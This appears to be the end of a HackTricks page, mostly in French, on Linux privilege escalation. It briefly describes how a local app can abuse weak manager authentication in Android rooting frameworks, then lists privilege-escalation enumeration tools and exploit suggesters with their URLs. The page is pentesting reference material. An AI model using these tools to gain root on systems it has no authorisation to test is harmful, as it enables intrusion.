Les Android rooting frameworks hook a syscall pour exposer des fonctionnalités kernel privilégiées à un userspace manager. Une authentification faible du manager (par ex., des vérifications de signature basées sur FD-order ou des schémas de mot de passe faibles) peut permettre à une app locale d'usurper le manager et d'escalader au root sur des appareils déjà-rootés. Plus d'informations et détails d'exploitation ici :

{{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}}

Kernel Security Protections

More help

Static impacket binaries

Outils Privesc Linux/Unix

Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumère des kernel vulns sur linux et MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Références

{{#include ../../banners/hacktricks-training.md}}